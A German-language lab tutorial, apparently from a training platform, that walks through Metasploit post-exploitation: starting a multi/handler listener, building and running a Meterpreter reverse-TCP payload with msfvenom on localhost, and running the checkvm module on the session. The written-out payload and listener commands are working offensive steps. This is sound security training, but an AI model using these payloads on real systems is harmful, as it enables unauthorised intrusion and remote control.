Post-Exploitation-Modul in Metasploit ausführen

Kali LinuxBeginner
Jetzt üben

Einführung

Post-Exploitation ist die Phase eines Penetrationstests, die nach dem Erhalt des initialen Zugriffs auf ein Zielsystem durch einen Angreifer stattfindet. Während dieser Phase ist es das Ziel, weitere Informationen zu sammeln, Berechtigungen zu eskalieren, zu anderen Systemen zu pivotieren und den Zugriff aufrechtzuerhalten. Das Metasploit Framework bietet eine riesige Sammlung von Post-Exploitation-Modulen zur Automatisierung dieser Aufgaben.

In diesem Lab lernen Sie den grundlegenden Workflow für die Verwendung eines Post-Exploitation-Moduls in Metasploit kennen. Sie beginnen mit dem Aufbau einer Meterpreter-Sitzung, suchen dann nach einem geeigneten Modul, konfigurieren es und führen es gegen die aktive Sitzung aus, um Informationen über das Zielsystem zu sammeln. Wir werden das Modul post/linux/gather/checkvm als Beispiel verwenden, das versucht festzustellen, ob der kompromittierte Host eine virtuelle Maschine ist.

Eine aktive Meterpreter-Sitzung haben

In diesem Schritt richten Sie einen Listener in Metasploit ein und führen dann eine Payload aus, um einen kompromittierten Host zu simulieren, der eine Rückverbindung herstellt, wodurch eine aktive Meterpreter-Sitzung erstellt wird. Diese Sitzung ist die Voraussetzung für die Ausführung jedes Post-Exploitation-Moduls.

Zuerst starten wir die Metasploit Framework-Konsole. Öffnen Sie ein Terminal und geben Sie ein:

msfconsole -q

Das Flag -q sorgt dafür, dass das Startbanner leise ist. Sobald Sie sich an der Eingabeaufforderung msf6 > befinden, konfigurieren wir einen Listener. Wir verwenden einen generischen Handler und eine Linux Meterpreter-Payload.

Geben Sie die folgenden Befehle in die msfconsole-Eingabeaufforderung ein:

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 127.0.0.1

Führen Sie nun den Listener als Hintergrundjob mit exploit -j aus:

exploit -j

Sie sollten eine Bestätigung sehen, dass der Handler gestartet wurde.

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444

Öffnen Sie nun ein neues Terminal (Sie können dazu den +-Button in der Terminal-Tab-Leiste verwenden). In diesem neuen Terminal generieren und führen wir die Payload aus, die sich mit unserem Listener verbindet. Wir verwenden msfvenom, um eine ausführbare Linux-Datei zu erstellen.

Führen Sie im zweiten Terminal diesen Befehl aus, um die Payload zu erstellen:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/shell.elf

Dieser Befehl erstellt eine ELF-Datei (Executable and Linkable Format) namens shell.elf in Ihrem Verzeichnis ~/project.

Machen Sie die Datei anschließend ausführbar:

chmod +x ~/project/shell.elf

Führen Sie schließlich die Payload aus, um die Sitzung herzustellen:

./shell.elf

Wechseln Sie nun zurück zu Ihrem ersten Terminal (dem mit msfconsole). Sie sollten eine Meldung sehen, die angibt, dass eine neue Sitzung erstellt wurde.

[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:38978) at 2023-10-27 10:30:00 -0400

Zur Bestätigung können Sie alle aktiven Sitzungen mit dem Befehl sessions auflisten.

sessions

Sie sehen Ihre aktive Sitzung aufgelistet, was bedeutet, dass Sie für den nächsten Schritt bereit sind.

Active sessions
===============

  Id  Name  Type                     Information  Connection
  --  ----  ----                     -----------  ----------
  1         meterpreter x86/linux               127.0.0.1:4444 -> 127.0.0.1:38978 (127.0.0.1)

Die Sitzung in den Hintergrund verschieben und den Suchbefehl für Post-Module verwenden

In diesem Schritt lernen Sie, wie Sie mit Ihrer neuen Sitzung interagieren und dann zur Haupt-Eingabeaufforderung msfconsole zurückkehren, um nach Post-Exploitation-Modulen zu suchen.

Nach dem Befehl sessions befinden Sie sich an der Eingabeaufforderung msf6 >. Um mit der Sitzung zu interagieren, verwenden Sie den Befehl sessions -i, gefolgt von der Sitzungs-ID.

sessions -i 1

Ihre Eingabeaufforderung ändert sich zu meterpreter >, was anzeigt, dass Sie sich nun innerhalb der Sitzung des kompromittierten Systems befinden.

[*] Starting interaction with 1...

meterpreter >

Um ein Post-Exploitation-Modul auszuführen, müssen Sie sich an der Haupt-Eingabeaufforderung msf6 > befinden. Um die Meterpreter-Sitzung aktiv zu lassen, aber zur Hauptkonsole zurückzukehren, verwenden Sie den Befehl background.

background

Sie sehen eine Meldung, die bestätigt, dass die Sitzung im Hintergrund läuft, und Ihre Eingabeaufforderung kehrt zu msf6 > zurück.

[*] Backgrounding session 1...
msf6 >

Nun können Sie mit dem Befehl search nach Post-Exploitation-Modulen suchen. Dieser Befehl ist sehr leistungsfähig und kann Module nach Typ, Plattform, Namen und mehr filtern. Um Module zu finden, die auf virtuelle Maschinen prüfen, können Sie nach dem Schlüsselwort checkvm suchen.

search checkvm

Metasploit listet alle Module auf, die dem Schlüsselwort entsprechen.

Matching Modules
================

   ##   Name                                 Disclosure Date  Rank    Check  Description
   -   ----                                 ---------------  ----    -----  -----------
   0   post/linux/gather/checkvm                             normal  No     Linux Gather Virtual Machine Environment Detection
   1   post/windows/gather/checkvm                           normal  No     Windows Gather Virtual Machine Environment Detection
   ...

Dies zeigt uns, dass es Module sowohl für Linux als auch für Windows gibt. Da sich unsere Sitzung auf einem Linux-Ziel befindet, werden wir post/linux/gather/checkvm verwenden.

Ein Post-Exploitation-Modul wie post/linux/gather/checkvm auswählen

In diesem Schritt wählen Sie das Post-Exploitation-Modul aus, das Sie im vorherigen Schritt gefunden haben, und zeigen seine Konfigurationsoptionen an.

Um ein Modul in Metasploit auszuwählen oder zu "verwenden", verwenden Sie den Befehl use, gefolgt vom vollständigen Namen des Moduls. Basierend auf unseren Suchergebnissen verwenden wir post/linux/gather/checkvm.

use post/linux/gather/checkvm

Ihre Eingabeaufforderung ändert sich, um das aktuell ausgewählte Modul widerzuspiegeln.

msf6 post(linux/gather/checkvm) >

Sobald ein Modul ausgewählt ist, sollten Sie immer dessen Optionen überprüfen, um zu sehen, was konfiguriert werden muss. Der Befehl show options zeigt alle verfügbaren Einstellungen für das aktuelle Modul an.

show options

Die Ausgabe zeigt die Optionen des Moduls, ihre aktuellen Einstellungen und ob sie erforderlich sind.

Module options (post/linux/gather/checkvm):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Wie Sie sehen können, ist die Option SESSION erforderlich, hat aber noch keinen Wert. Diese Option teilt Metasploit mit, gegen welche Ihrer aktiven Sitzungen das Modul ausgeführt werden soll.

Die Option SESSION auf Ihre aktive Sitzungs-ID setzen

In diesem Schritt konfigurieren Sie die erforderliche Option SESSION für das Post-Exploitation-Modul.

Aus den vorherigen Schritten wissen wir, dass unsere aktive Sitzung die ID 1 hat. Wir müssen diese ID dem Modul zur Verfügung stellen. Der Befehl set wird verwendet, um Moduloptionen zu konfigurieren.

Um die Option SESSION auf 1 zu setzen, führen Sie den folgenden Befehl aus:

set SESSION 1

Sie sollten eine Bestätigung sehen, dass der Wert gesetzt wurde.

SESSION => 1

Um sicherzugehen, können Sie show options erneut ausführen, um zu überprüfen, ob die Option SESSION nun korrekt konfiguriert ist.

show options

Die Ausgabe zeigt nun 1 als aktuelle Einstellung für SESSION.

Module options (post/linux/gather/checkvm):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.

Nachdem die Option SESSION gesetzt wurde, ist das Modul nun bereit zur Ausführung.

Modul ausführen und Ergebnisse analysieren

In diesem Schritt führen Sie das konfigurierte Post-Exploitation-Modul aus und analysieren dessen Ausgabe.

Nachdem das Modul ausgewählt und alle erforderlichen Optionen gesetzt wurden, können Sie es nun ausführen. In Metasploit können Sie entweder den Befehl run oder exploit verwenden, um ein Modul auszuführen. Für Post-Exploitation-Module wird üblicherweise run verwendet.

run

Das Modul wird nun auf der Ziel-Sitzung (Session 1) ausgeführt. Es führt seine Prüfungen durch und gibt die Ergebnisse auf Ihrer Konsole aus. Die LabEx-Umgebung läuft innerhalb einer virtualisierten Umgebung, daher sollten Sie ein positives Ergebnis sehen.

[*] Checking for Xen...
[+] This is a Xen Virtual Machine
[*] Checking for VMWare...
[*] This does not appear to be a VMWare Virtual Machine.
[*] Checking for VirtualBox...
[*] This does not appear to be a VirtualBox Virtual Machine.
[*] Checking for KVM...
[+] This is a KVM/QEMU Virtual Machine
[*] Checking for Hyper-V...
[*] This does not appear to be a Hyper-V Virtual Machine.
[*] Post module execution completed

Analyse der Ergebnisse:

Die Ausgabe zeigt deutlich, dass das Zielsystem sowohl als Xen- als auch als KVM/QEMU-Virtuelle Maschine erkannt wird. Dies sind wertvolle Informationen für einen Penetrationstester. Zu wissen, dass ein Ziel virtualisiert ist, kann zukünftige Aktionen beeinflussen, wie z. B. die Suche nach VM-Escape-Schwachstellen oder das Verständnis der zugrunde liegenden Infrastruktur.

Sie haben nun erfolgreich Ihr erstes Post-Exploitation-Modul ausgeführt!

Zusammenfassung

In diesem Lab haben Sie den wesentlichen Workflow für die Verwendung von Post-Exploitation-Modulen im Metasploit Framework kennengelernt. Sie haben den gesamten Prozess von der Herstellung eines ersten Zugangs bis zur Sammlung von Informationen über das Zielsystem erfolgreich durchgeführt.

Sie haben gelernt, wie Sie:

  • Einen Listener erstellen und eine Meterpreter-Sitzung herstellen.
  • Eine aktive Sitzung in den Hintergrund verschieben, um zur Hauptaufforderung msfconsole zurückzukehren.
  • Den Befehl search verwenden, um relevante Post-Exploitation-Module zu finden.
  • Ein Modul mit dem Befehl use auswählen und dessen Einstellungen mit show options anzeigen.
  • Ein Modul konfigurieren, indem Sie die erforderliche Option SESSION setzen.
  • Das Modul mit dem Befehl run ausführen und dessen Ausgabe analysieren.

Diese grundlegende Fähigkeit ist ein Baustein für fortgeschrittenere Post-Exploitation-Aktivitäten wie Privilege Escalation, Credential Harvesting und Lateral Movement in einem Netzwerk.